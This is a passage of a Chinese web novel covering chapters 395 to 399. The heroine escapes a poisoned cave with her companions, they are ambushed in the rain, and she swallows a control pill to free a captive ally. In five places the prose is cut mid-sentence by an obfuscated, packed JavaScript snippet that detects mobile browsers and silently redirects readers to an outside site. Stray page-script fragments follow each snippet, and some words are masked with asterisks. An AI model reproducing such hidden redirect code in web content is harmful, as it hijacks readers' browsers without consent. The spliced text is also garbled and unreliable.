陈识月白了他一眼,“别嘴上没把门的,你再乱说我就可就要生气了。” 语罢,她抽回手,轻轻搓揉着自己的双手。 “大概半个时辰,就能背着他离开了。”陈识月解释,“这会先等他缓一缓。” 施针,吃药,缓过劲来就顺畅了。 霍青行静静的陪着她,一副痴汉的模样,她说什么便是什么,总觉得一眨眼,她又会再度消失,恨不能将她看得严严实实的。 “你这般盯着我看作甚?”陈识月有些拘谨,“看得人浑身发毛!” 音落,她抬手捂住了他的眼睛。 不许看! 霍青行就蹲在她身侧,任由她微凉的手,捂住他炙热的眸。 一旁的冬梅用胳膊肘,轻轻抵了抵迎春。 迎春转头看她,嘴角满是姨母笑。 少将军和姑娘的感情真好! 大概半个时辰之后,护卫背起了怪人,一行人快速朝着出口而去。 “之前那老道在这里弄了不少毒,我怕是一时半会的出不去。”霍青行忙道,“月儿你当小心,若是真的不行,莫要逞强,咱从正门出去,大不了在这林子里多转悠两天。” 陈识月点点头,“你放心,我可不是什么逞强之人,若是不成也不能把自己的命搭进去。” 她还有那么多事情没完成,怎么敢轻易拿性命做赌注呢? 好在…… “我能解决。” 陈识月瞧了瞧这洞里的情况,“问题不大,你们别担心。” 那老道虽然下了死手,但到底是自己的洞府,还是留了点余地,毕竟谁能保证,自己不会反受其害呢?总归是要给自己留条活路。 冬梅和迎春在外面张望着,一时间也不知道该做点什么,只能静待吩咐。 “这老道真是该死,都这个时候了也要拉咱们下水。”冬梅暗自啐了一口,“要不是他死得快,我定要将他**万段。” 迎春被他逗笑了,“还好他死得快,要不然场面太血腥,怕是要吓死我。” 二人相视一笑。 “说起来,多谢你。”迎春低声道,“要不是你,我怕是要死在沼泽里了。” 冬梅挑眉,“可不是我救的你,我没够着,是少将军救了你。少将军不惜一切,差点把自个的命都搭进去了,他才是你的救命恩人。” “要不是你没放弃我,少将军也找不到我。”迎春叹口气,“好险,当时真的以为自己会死在那里,那种恐怖感觉,比刀剑架在脖子上都难受。” 一刀下去,**不过头点地,可身陷沼泽里,是一点点的被吞没,一点点的被淹死,眼睁睁的看着自己身陷泥淖而不能自救。 那种绝望…… 无法用言语形容。 眼睁睁的看着自己死去,叫天天不应,叫地地不灵。 “谁说不是呢?我再也不要靠近沼泽,简直跟噩梦一样,还不如拿刀杀了我来得痛快!”冬梅跟着附和,“还好,我们都没事。” 所幸都安然无恙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231882|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约莫半个时辰之后,霍青行和陈识月从洞内出来。 “没事了,待会大家挨个进去,若是有什么不适之处,立刻告诉我。”陈识月还是有所顾虑了,“不要不当回事,那老道干了这么多的坏事,惯来善于用毒,谁知道他是否还留有后招?” 小心驶得万年船。 “是!” “是!” 众人挨个进去,第一个进去,第二个进去,然后便是冬梅,紧接着便是背着怪人的护卫…… 期间无一人吱声,都分外小心。 内里,黑漆漆的。 羸弱的光亮照亮前路,即便这条道逼仄狭窄,但只要能走出不归林,不管做什么都是值得的。 这地道七拐八弯的,偶尔会突然窜出个蛇虫鼠蚁,所幸他们还是走到了尽头。 前方是厚重的石门,与岩壁严丝合缝的。 若不仔细看,怕也瞧不出其中端倪。 “我来!”冬梅上前一步。 然而,这石门厚重,饶是冬梅力气大,竟也没能推动分毫。 “怕不是有什么机关吧?”迎春是个会动脑子的,旋即四周查看,“大家找找看。” 霍青行领着陈识月上前,瞧着这一片石壁,只竖起耳朵贴在了岩壁上,似乎是在听外面的动静。 “你是怕外面有埋伏?”陈识月明白他的意思。 霍青行点点头。 好在,外面没什么动静。 这条出路藏在白发老道的洞内,说明是私人所用,寻常人根本不可能有机会走这里,长乐门那边应该也不清楚具体的出口位置,只知道有这么一条出路。 白发老道是个狡猾之人,这应该也是他为自己留的最后一条路…… “这里!”迎春惊呼。 果然瞧见了角落里的一块凸起的石头,用力摁下去之后,便听得“咔嚓”一声响,伴随着石门慢慢悠悠的挪开,然后外头的光忽然就刺了进来。 开了! 他们出去了! “走!”冬梅当即冲了出去。 见到光,朝着光的方向走,一定能走出去。 霍青行牵住陈识月的手,“我们走!” 出去。 外头的空气可真好啊! 不像里面,压抑,沉重,腥臭,弥漫着腐臭气息…… 第三百九十五章 她厌恶他 外头的光亮,仿佛可以驱散心中的阴霾,那种窒息与**的气息,顷刻间被阳光驱散得干干净净,希望就在眼前。 “月儿,我们出来了。”霍青行长长吐出一口气,“我们终于出来了。” 陈识月沐浴在阳光下,微微扬起头,这温暖的感觉……真是让人舒服啊! 出了不归林,就该下山才对。 “我们走吧!”陈识月回过神来,“不知道安信是否周全,不知道欧阳捕头是否逃出去了?林序还没找到,咱……” 霍青行握住了她的手,“别想那么多,既然都走到这一步了,便没什么可犹豫的,走一步算一步,谁知道接下来会发生何事呢?总归大家都在一起,生也好死也罢,尽自己最大的努力便是。” 若是真的不成,那便当是天意。 自己拼尽全力,便不留遗憾。 “嗯!”陈识月点点头。 霍青行查看了一下周遭,大家都没什么大事,虽然都被折磨得够呛,但好在都活着,还有机会活着走出这山头,“走!” 长乐门的人肯定在附近,所以他们此行必须小心谨慎。 尤其是,还带着一个怪人…… 这人对长乐门来说,应该也颇为重要,所以那个黑衣人才会出现在山洞里,想要带走怪人,只是对方没有下死手,是否意味着怪人掌握着把柄,却没有真正的吐露分毫。 他们没拿到想要的,这才观望着,纠缠不休。 霍青行想着,长乐门想要的可能和自己想要的一样。 出来的时候,天气还算不错,只是山里的天气多变,一眨眼的功夫就已经乌云密布,山风呼啸而过,让人有些心内不安。 “总觉得没什么好事。”冬梅低声开口。 迎春看了看天色,“得先找个地方以便于避雨。” 这天色,铁定是要下雨的。 更何况,这怪人还时睡时醒,若是再给淋坏了,那还得了? “去那边!”霍青行领着人朝前走去。 山林中本就光线弱,如今天色灰蒙,山雨欲来,视线就更差了,越往前走越黑,最后实在是没办法,只能临时搭建窝棚。 看来树枝搭建,倒也不是什么难事,这么多人齐心协力,做个遮风避雨的地方还是不难的。 难的是吃食。 尽管之前在山洞里拿了一些吃食,可深陷沼泽的时候就已经被泡烂了,现在每个人都是饥肠辘辘,山风一吹便是又饿又冷。 这地方连个活物都不多见,自然没办法打猎…… 对此,陈识月倒是不担心。 山上不是树就是草,只要不是光秃秃的,怎么可能饿死? “饿不死。”陈识月是这样告诉所有人的。 采蘑菇,挖野菜,拾掇一些采药。 迎春和冬梅负责生火,不管姑娘给的什么,她们都只管洗干净。 好在下了一场雨,不愁水源的问题。 一群人都窝在这遮雨棚中,暂时躲避这突如其来的山雨。 窝棚是搭建在了两棵树中间,离地面有些距离,只有这样才能避免积水问题,还有一些豺狼野狗,总归是稍微抬高一些才算安全。 生嚼了一些草药,每个人的脸上都有些苦哈哈的表情,毕竟这东西的确不好吃,又苦又涩,满嘴都是怪味。 今夜,所有护卫轮流守夜。 陈识月则守着怪人,这乱成一团麻的脉象,真是让人揪心。 “这么重的伤……是个有故事的人。”迎春小声嘀咕。 冬梅凑近了,“有什么故事呢?” “这谁知道呢?”迎春挑眉,“得他开口才能知晓,要不然你我又不是写话本子的,如何能知晓其中内情?你莫要胡猜猜,要是猜错了,或者是……小心祸从口出,给少将军和姑娘惹麻烦。” 冬梅默默的闭上嘴。 迎春自然是仔细的,这个时候可不能给少将军和姑娘添堵。 不过…… “怎么了?”看出陈识月好像心神不宁,霍青行放下擦拭的剑,赶紧收剑归鞘,谨慎的凑了上来,“是不是他这副身子……” 陈识月摇摇头,“不是。” “你不舒服?”霍青行低声询问。 陈识月还是摇头,“也不是,就是心里有些莫名的慌乱,觉得好像要出事。” 霍青行稍稍松了口气,“你可能是太紧张,又或者是太担心他会出事,才会如此思想,你放心,我一定会好好保护你们的。” “你说那条蛇的主人,会不会因着这蛊虫的缘故,跟在我后面,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235611|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路跟着我出山?”陈识月不担心其他,毕竟被人追杀也都习惯了,可那一蛇一主却目的异常,让她极为反感。 别人要的是她的命,那个疯子……要的是她这个人。 死不可怕,怕的是生不如死。 “这东西迟早是个祸害。”霍青行想了想,“我已经去信给父亲,边关那边也会格外留心,若得邦外的消息,会尽快通知我。” 陈识月没再多说什么,只是心里还是不踏实。 夜雨稀里哗啦的下着,瓢泼大雨将这林中衬得更加漆黑,一眼望去什么都瞧不见。 即便如此,也得轮换着休息。 上半夜倒也还算太平,只是到了下半夜,这林子里就不安生了。 雨虽然小了一些,但是窸窸窣窣的声音却逐渐响起。 霍青行猛地睁开眼,冬梅和迎春也跟着抱剑而起,目光灼灼的盯着周围,也不知道这窸窸窣窣的声音是从何处而来。 陈识月本就是小憩片刻,这会也跟着警觉起来,收拾了一番,便让护卫背上了怪人。 他们做好了随时撤离的准备,时刻警惕着外头的状况。 须臾,一支冷箭破空而来。 “小心!”冬梅赫然出手,生生扣住了袭来的冷箭,当时掰成两节。 该死的东西! 霍青行面色骤变,“躲树后去!” 音落瞬间,他已经掀翻了简易窝棚,瞧着迎春拽着陈识月就躲在了树后,拂袖挡去了袭来的乱箭,赶紧藏身树后。 耳畔是冷箭破开雨幕袭来,扎在树上的“咚咚咚”声响,于这样的雨夜里,显得格外恐怖。 瞧着扎在面侧树干上的冷箭,陈识月猛地瞪大眸子,喉间生生咽下一口口水,心都提到了嗓子眼,这一点就戳她身上了。 “姑娘藏好了,不要动!”迎春疾呼。 不敢动。 陈识月哪儿敢动? 霍青行握紧手中剑,听得冷箭破空而来的声音,一时间便是他也不敢轻易出去,雨夜根本看不清楚对方来人,贸贸然出去只是送人头。 但……箭射完了,他们肯定会出来。 那便是机会! 果然,箭雨一停,大批的黑衣人纷涌而至,利刃寒光,带着嗜杀之气,招招直取性命…… 第三百九十六章 借脑袋一用 暗箭难防,但是近身肉搏的话,霍青行带出来的这些护卫,还有迎春冬梅她们,都是个顶个的好手,来一个杀一个,来两个杀一双。 迎春和冬梅守在陈识月身边,其他护卫则保护怪人,霍青行一马当先,灵活机动。 所有人都训练有素,饶是这些黑衣人穷凶极恶,却无法靠近陈识月分毫,地上的尸体越来越多,霍青行知道自己底下人撑不了多久,倒不是功夫不济,而是实在是疲乏到了极致。 “撤!”霍青行手一挥。 所有人都开始往后撤,有序后退。 霍青行下手快准狠,护着所有人往后退,雨水打湿了所有人,即便是下着雨,空气里也满是血腥味,黑衣人惧怕他手中剑,愣是不敢靠太近。 黑暗中,似乎有一双眼睛,正死死的盯着他们…… 霍青行猛地转头看向一侧,黑暗中有绿油油的东西在扑闪扑闪。 是眼睛?! 动物的眼睛? 霍青行不清楚,但他知道那很危险,当下护着所有人后退。 山路崎岖,所有人都在奔跑。 雨不大,但山路泥泞,一不留神就可能摔在山沟里,即便如此,谁也没敢停下,即便前有狼也不能止步,边战边退。 及至,退到了山崖边上。 山风呼啸,身后是悬崖峭壁。 底下是乱石和丛林,说高不高,但是掉下去不死也得残废,毕竟那么多乱石,这血肉之躯怎么能与石头相较? “没路了!”冬梅低呼。 迎春裹了裹后槽牙,“姑娘,躲那边树后去。” 陈识月赶紧躲在了树后,没有任何的犹豫与挣扎,那护卫也背着怪人快速躲在了树后,这山崖边上就这么一棵大树,还有边上的乱石堆,再无其他可遮蔽之物。 护卫和霍青行站成一排,瞧着奔赴而来的黑衣人,已然做好了硬碰硬的决心,这一场硬仗应是跑不了了。 “拼了。”霍青行沉着脸。 众人皆身形笔直,握紧了手中剑,既然躲不过,那就来搏一把,杀光这些人,他们就能活了。 杀不完,那就死。 这局面,瞧着让人心惊胆战。 霍青行和护卫是第一道屏障,若是他们输了,冬梅和迎春就是最后的保障,也许会死,但也许……若上苍垂帘,他们能逃过一劫呢? 雨,淅淅沥沥的。 雨幕厚重,身上寒凉。 每个人都泡在雨水中,厮杀之时血色飞溅,谁都不知道明日在哪,只知不是你死,就是我亡。 身边传来异动,陈识月心下一惊,慌忙让护卫放下怪人。 没错,是他醒了。 陈识月慌忙上前为他把脉,雨水顺着鬓边的发丝止不住的滴落,她静静的蹲在那里,仔细的查验着,不敢有丝毫怠慢。 须臾,她皱起眉头,忽然对上一双黑洞洞的眸子。 他醒了。 只是,醒来之后分外警惕。 下一刻,他如同见了鬼一般连连后退,大概是意识到自己伤重,疼得身子蜷起,缩在了角落里。 “你别怕!我不会伤害你的。”陈识月忙摆手。 护卫护着陈识月,“姑娘别靠近他。” 昏迷着倒也罢了,醒来便是危险。 “我是在给你看伤,把脉,治病。”陈识月指了指手腕,然后指了指他,“我不会伤害你,你别激动。” 外面的打斗声惊动了他,他下意识的抬起头去看,终于瞧见了那边的打斗。 刀光剑影,鲜血飞溅。 怪人的情绪开始激动起来,看得陈识月都有些紧张,“你别激动,你身上有伤,还**匪浅,不能轻举妄动,这里不是你的山洞,你的食人藤护不住你。” 以他现在的状态,的确不适合动武。 怪人似乎听懂了,只是直勾勾的盯着陈识月,又或者是因为他也知道,自己没有挣扎的气力,出去拼也只是落个死的下场。 “你稍安勿躁,别动。”陈识月尽量安抚,“没事的,我们会保护好你的,你别动!千万不要动,你身负重伤,又中了毒,不能再轻易动手。” 怪人许是虚弱,身子一晃便瘫软在地,护卫赶紧上前。 陈识月也跟着上去,两个人轻轻托着他。 见着他略有松懈,陈识月旋即给他扎了一针,便瞧见他脑袋一歪晕死过去。 “没事了。”陈识月如释重负。 这要是挣扎起来,凭着他这灵敏的身手,怕是无人能制住他。 然而…… 不等陈识月松一口气,迎春和冬梅已经喊出声来,“姑娘小心!” 长阴猛地直起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235612|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身来,张开了血盆大口,直扑护卫而去…… 说时迟那时快,霍青行冷剑脱手而出,直逼长阴而去。 所幸他这一剑,虽然伤不了这巨**,但是也足以逼退它,给了陈识月反抗的时间。 心念一动,长阴猛地僵在原地。 陈识月徐徐站起身来,伸出胳膊,掌心微张,作制止状,“滚回去!” 雨水打湿了她全身,她直勾勾盯着长阴那双眼睛,伸出去的胳膊还僵在半空。 长阴似乎是畏惧到了极点,慢慢的往后缩去,最终还是转身就走,但也没有走远,就在不远处盘踞着,似乎是在等待什么? 又或者是,等待陈识月下令。 迎春和冬梅真的惊出了一身冷汗,若是别的也就罢了,可这条大蛇还真是让人头皮发麻,就算想对付,也的确有种力有不逮的感觉。 尤其是这一身鳞片,刀剑不入,坚硬得令人发指。 迎春和冬梅快速退后,退到了陈识月的身侧,“姑娘?” “姑娘?”迎春轻轻的扣住陈识月的手腕,摁下了她僵直的胳膊,“没事了。” 没事了。 陈识月看着不远处的巨**,站在雨里打了个哆嗦。 这东西阴魂不散,那它的主人呢? 思及此处,陈识月旋即环顾四周,那个疯子在哪? 他在哪? 霍青行一脚就踹飞了冲上来的黑衣人,夺下另一人的手中剑,二话不说就抹了对方脖子,鲜血旋即喷涌而出。 事罢,他纵身一跃落在了陈识月的身侧,“月儿?” “我没事!”陈识月回过神,“他来了!他一定在周围。” 一定在附近。 霍青行知道她的意思,“莫忧,有我在!” 那疯子不是他的对手,所以只能藏头露尾,不敢与霍青行正面冲突,这条蛇可能只是来试探的,若是陈识月落单,多半会被它带走。 “冬梅,去帮忙!”迎春低语,“这里有我。” 冬梅颔首,旋即冲了出去。 少将军回转,那个空缺就得让人顶上,阵势不能乱。 黑暗中,有人立于树下。 真是嫉妒啊! 谁知…… 脖子一凉,耳畔传来冷笑声,“不好意思,借脑袋一用。” 第三百九十七章 他兴奋,吃下去 林序的声音在耳畔响起,紧接着便是一声,“住手!” 原本还在胶着的双方,顷刻间各自分开,分立两侧,目光齐刷刷的循声往来。 只瞧着林序的剑架在了某人的脖颈上,黑衣斗篷,一如既往的熟悉,只不过他似乎没有任何的挣扎,而是任由林序推搡着他上前。 “都给我住手!”林序低喝,“要不然我就弄死他。” 剑在脖颈上,只差分毫就能直取性命。 “林序?”霍青行一怔。 众人也跟着愣了愣。 唯有,陈识月面色瞬白,话到了嘴边又生生咽回去。她很清楚现在危险的不是那个黑衣斗篷的疯子,最为危险的是林序。 那可是个疯子啊! 疯子能干出什么事情来? 谁也不知道。 但又好似可以想象。 “都住手!”男人开了口,“放他们走!” 黑衣人们都愣了愣,你看看我,我看看你,这到底是听谁的?门主可不是这么说的,但是**这么说了,这要如何是好呢? “怎么,我说的话现在不管用了?”男人低斥一声,“都给我闪开,放他们走!若是门主怪罪下来,自然有我承担。都听明白了吗?” 话都说这么直白清楚,还有什么不明白的? “是!” 一行人徐徐往后退去,到底没有再拦着。 “走!” 霍青行几乎没有任何的犹豫,成大事者必定有所牺牲,既然林序已经站出来,那他们必定不能再犹豫辜负,还是要好好的活下去才是。 尤其是,这怪人的身上还带着这么大的秘密。 霍青行一声令下,所有人都护着怪人往后退。 唯有陈识月一动不动,就站在那里,冷眼盯着那黑衣斗篷的疯子。 “月儿?”霍青行皱眉,“撤!” 陈识月深吸一口气,“我怕是走不了。” 迎春:“……” 冬梅:“??” 这是为何? “你们带着他快点离开。”陈识月盯着黑衣斗篷的疯子,“我留下。” 霍青行张了张嘴,目光落在林序身上的时候,他忽然就明白了陈识月的用意。 “姑娘?”冬梅急了,却被迎春摁住。 陈识月压低了声音,“听话,马上走!” “走!”迎春压住了冬梅,“有少将军在,咱就不要给姑娘添堵了!” 语罢,她看了一眼林序,大概有所猜测,知晓这里面的情况可能不太乐观,所以迎春不敢耽误,怕他们转头就成了少将军和姑娘的负累。 霍青行站在那里,瞧着所有人快速离开,这才走到了陈识月的身侧站着。 “走啊!”林序皱眉,“你们快走!” 陈识月没说话,霍青行沉着脸,“我们走了,你就真的会死。” 林序:“……” “你以为你怎么挟制住他的?”霍青行又道,冷剑直指黑衣斗篷,“你的目的达到了。” 林序:“??” 下一刻,他便知道了霍青行和陈识月的意思。 握剑的手在止不住的颤抖,他想当即抹了这男人的脖颈,却发现身子不听使唤,根本使不上劲,好像所有的气力都被抽离,整个人成了泥塑木雕,愣是没了半分生机。 木偶? 傀儡? 对,就像是别人手中的提线木偶,全然身不由己。 怎么会这样? “哎呀,这就被拆穿了,果然是最了解我的人。”男人低笑两声,“我喜欢。” 霍青行可不喜欢,脸色黑沉的盯着他。 “用这个傀儡,一命换一命,应该不成问题吧?更何况,你要救的人,我已经放了,如此说起来,你算不算欠我一个人情?”男人负手而立。 最先不答应的是那些黑衣人,“**,门主说……” “闭嘴!”男人显然不喜欢听到反驳自己的话,“现在是我站在这里,就该听我的。若是再废话,别怪我不客气。” 谁不知道这位**行事狠辣,下手更是毒辣,素来不留余地,谁敢真的与他硬碰硬叫嚣,除非不要命了。 话都说到这份上了,他们只有听命的份。 “行了!”男人冷然,“要么滚,要么死。” 黑衣人看了看霍青行和陈识月,默默的往后退了退。 “不能走!”霍青行冷剑横在众人跟前。 他可不会那么傻,这个时候放这些人离开,不就是继续追杀迎春和冬梅他们吗?自己脱不了身,那边就少一分助力,一旦动手必定有更大的伤亡。 双方就此僵持着。 “都不许走! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235613|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陈识月也是这个意思。 林序用力的呼吸,想要挣脱桎梏,奈何身子坚硬如铁,根本无法动弹,连手中剑都“咣当”落在了地上,窒息感逐渐蔓至胸口,再这样下去他怕是要活生生僵化,最后因为无法自主呼吸而窒息,直至死亡。 “我跟他换。”陈识月上前一步。 林序想摇头,可现在的他什么都做不了。 不可以! 月大夫…… 快走! 走! 奈何,陈识月听不到他内心的呼喊,只是一步步的朝着这疯子走去。 霍青行握紧了手中剑,没有拦阻。 她有她想做的事情,只要她开口,他就能拼死冲上去,但她不开口,他就只能稍安勿躁,静观其变,再伺机而动。 “月……大夫……”林序想要制止,可现在的他宛若泥塑木雕,哪儿还有挣扎的余地,连呼吸都快成了奢望,嗓子里发出了了呼呼呼的声音。 陈识月目光陡沉,“给他解毒,我来换他。你对我的兴趣,应该比对他高一些,不是吗?” 她站在那里,细雨绵绵,淋湿了周身。 霍青行握紧手中剑,小心翼翼的注视这这一幕,随时准备出手。 “你真的愿意作为交换吗?”男人的确对她很感兴趣,换言之,只对她感兴趣,所有觊觎她的人,他都视若眼中钉。 陈识月站在安全距离范围内,“人都站在这里了,你觉得呢?” “好!”男人忽然将一个瓷瓶丢给她。 陈识月忙不迭接住,“这是什么?” “一个好东西。”男人目不转睛的看着她,“吃了它。” 霍青行急了,“不行!” 不能吃! 这疯子给的能是什么好东西? 不能吃,一定不能吃。 陈识月打开了瓶塞,嗅了嗅内里的东西,然后抬眸看向了这疯子,“好东西。” “自然是好东西。”男人似乎有些自豪,“你是大夫,我也不赖,咱们在一起,简直就是珠联璧合,天生一对。那个莽夫如何知晓你心中所想,唯有我可以与你心意相通,你我子母蛊本为一体,若是能在一起,以后只会更加完美。” 他循循善诱,哄着她吃药,那种兴奋简直无法用言语形容。 “快吃下去。”他开始催促。 第三百九十八章 记住,我叫长雾 所有人的目光都落在了陈识月的身上,那一颗药成了所有人的注意所在,吃下去是很容易,但是吃下去之后会发生何事,那就不是任何人可以想象。 长乐门的**,是个疯子啊! 十足十的疯子! “月儿?”霍青行是真的急了,“不可!” 陈识月捏着手中的药丸,凑到鼻尖轻嗅,然后抬头看向那疯子,眉眼间带着清晰的冷冽,“你想控制我?呵,果真是上不得台面的东西。” 男人看向身侧的林序,“这天底下的事情,手段不要紧,结果才是重中之重。连史书都是胜利者书写,失败者都不过是蝇营狗苟的跳梁小丑。言语间兴许夸赞对手,可事实上恨不能将对方踩进泥里,我这人也是如此。” “你既落在我的手里,我自然是要牢牢拿捏的,不管什么时候都不能丢了主动权。你愿意自动交换,我必定要万无一失,绝对不会让你们有可趁之机。” 霍青行听出来了,这东西是控制人的,也就是说,一旦陈识月吃下去,她就成了他手里的提线木偶,成了这疯子的傀儡。 不能吃! 但是陈识月却没有太多犹豫,尤其是林序已经撑不住了,眼见着窒息感蔓延到咽喉,他已经喘不上气来了,再耽误下去只会被活活憋死。 “放他,给他解药。”陈识月近前,“我就吃。” 疯子看一眼身侧的林序,人已经直挺挺的躺在了地上。 “月儿?”霍青行急了。 陈识月抬手,示意他不要过来,“你功夫再好,都没他这毒来得狠辣,我身上的解毒丸不够解这毒的,你莫要再纠结。若是此番顺利,来日多杀几个长乐门的祸害,便算是替我报仇了。” 霍青行呼吸微促,看一眼躺在地上,面色绀紫,唇色几乎也发黑的林序,迈出去的步子终是收了回来,不能让她的付出功亏一篑。 看准时机,先救林序。 只要林序没事,他就能腾出手来帮她。 陈识月也是这么想的。 瞧着霍青行冷静下来,陈识月深吸一口气,用贝齿咬住了药丸,“嗯?” 男人忽然咬破了指尖,将血滴入了林序的口中。 一滴,两滴,三滴血。 男人站起身来,抬眸看向陈识月,“放心吧,他死不了。” 那么接下来,就该表现她的诚意了。 陈识月毫不犹豫的吞下了药丸,“满意了吗?” 掩在斗篷下的人,发出了清晰的笑声。 满意。 他很满意。 陈识月毫不犹豫的上前,搀起了略有些缓和的林序。 大概是觉得她吃了药,所以男人没有阻止她,而是静静的注视着,许是在等着药效的发作,所以一直没说话。 猎人的耐心,自然是极好的。 到了嘴边的肉,他就不信吃不到。 霍青行上前搀住了林序,只觉得林序整个人就像是被去了骨头一般,连半点支撑力都没有,方才僵硬如铁,这会却软烂如泥,身子如此剧烈的变化,想必是痛苦万分的。 林序咬着牙,死活没有哼哼一声。 “月儿?”霍青行看出来了,她身形晃悠,似乎已经受了药效控制。 但她一个眼神过来,便摁下了他冲动的心。 便是方才搀扶林序的时候,她的指尖血已经擦在了林序的唇上,药效起来了,她面色惨白,说话也是分外的吃力,“快走!走啊!” 霍青行看了一眼林序,忽然纵身一跃消失在黑夜中。 黑衣人旋即要追,却见着陈识月手中短刃即出,已经架在了自己的脖颈上,“别动!” 四下陡然安静下来,所有人的目光都落在她身上。 然后,又看向自家**。 “别……动!”陈识月握紧手中的短刃,“我动不了你们,但我可以动自己,主动脉要是被切开,不知道是我的血流得快,还是这虫子愈合得快?” 男人抬手,示意所有人都留在原地,不许去追。 “**?” 众人都急了,这要是让门主知道,他们办事不力,必定是要受到惩罚的。 “不许动!”陈识月只觉得眼前的东西都在晃,但她不能乱,凭借着最后一星半点的理智,目光平静的望着所有人,最后注视着那疯子,“你知道的,我不是在开玩笑,你我体质特殊,若是有什么闪失,便是天王老子来了,也救不了我。” 疯子似乎是在压制内心的激动,“都别动,坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241511|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我的好事,我就让你们陪葬。” 再等等! 再等等。 别的药对她不太有作用,毕竟蛊虫会自我疗愈,就算有药效也只能是短暂的,所以不能用对付寻常人的办法对付她。 如陈识月所言,他们的体质特殊,这就意味着天底下没有比他们更适配的人。 可这些黑衣人不干了,折损了这么多的弟兄,最后什么都没做好,反而眼睁睁看着人跑了,回去之后怕是…… 所有人转身就跑,势必要追上霍青行他们。 “长阴!” 身后一声低喝,紧接着便是破空而来的呼啦声响。 若摧枯拉朽,带着万钧之力,直接一个蛇尾横扫,所有人瞬时被摔飞出去,速度很快,鳞甲很是坚硬,一瞬间的力道让人躲闪不及。 陈识月心里咯噔一声,视线里除了漆黑,便剩下了模糊的雪花点。 握着短刃的手在止不住的颤抖,她不知道自己还能坚持多久,脑子里一片空白,仿佛被人洗盘重新来过一般,将所有的思绪都清洗得干干净净。 她的眼神逐渐空洞,神情越发恍惚,到了最后便是手一松,短刃旋即落地,身子直挺挺的朝后仰去。 “我叫长雾。”他伏在她耳畔低语,“记住我的名字。” 陈识月软哒哒的倒在他怀中,意识全无,脑袋都歪在一旁,也不知道她是否记住了? 将人打横抱起,男人缓步离开,长阴看了一眼吃力爬起身来的黑衣人,快速跟上了自家主子。 雨,还在下着。 陈识月昏迷不醒,霍青行则扛着林序一路疾驰,每个人都明白轻重缓急,都知道自己要做什么,纵然心中再焦灼,也得先把手上的事情办好。 所有的努力和牺牲,都该有所收获…… 林序这边伤势有点重,即便是喝了那疯子的血,这会还是没力气,四肢疲软,若是丢下不管必定会有危险,所以霍青行不能丢下他。 雨停了,山里的弥漫着雾气,适合藏身,容易隐蔽。 “少、少将军……”林序终于可以自主呼吸,可以说出点话来,“快去……救……月大夫。” 霍青行与他藏在坑洞底下,厚实的草植将内里遮得严严实实。 第三百九十九章 我是你的夫君 藏好自身,躲过这一劫,才能有更好的将来。 霍青行瞧着满脸愧疚的林序,掌心落在他的肩头,轻轻拍了拍,如同当初在战场上一样,人不是神,总有不慎的时候,力挽狂澜也不是谁都能做到的。 他们能做的就只是尽力而为,至于结果如何,那就交给天意! 外头的雨停了,但是脚步声没有停。 长乐门派出这么多人,愣是没抓住他们其中的一个,若是回去也不好交代,只能趁着天亮之前的时间,满山里的搜寻。 可他们要找的人,都会手脚功夫,一个个都是霍青行精挑细选出来的,要么死,要么……别想抓住他们,尤其是这山头还这么大。 群山连绵,哪会轻易被他们找到? 长乐门的人在搜山,所有人都藏得严严实实。 夜色沉沉。 下过雨的山林弥漫着浓雾,湿漉漉的。 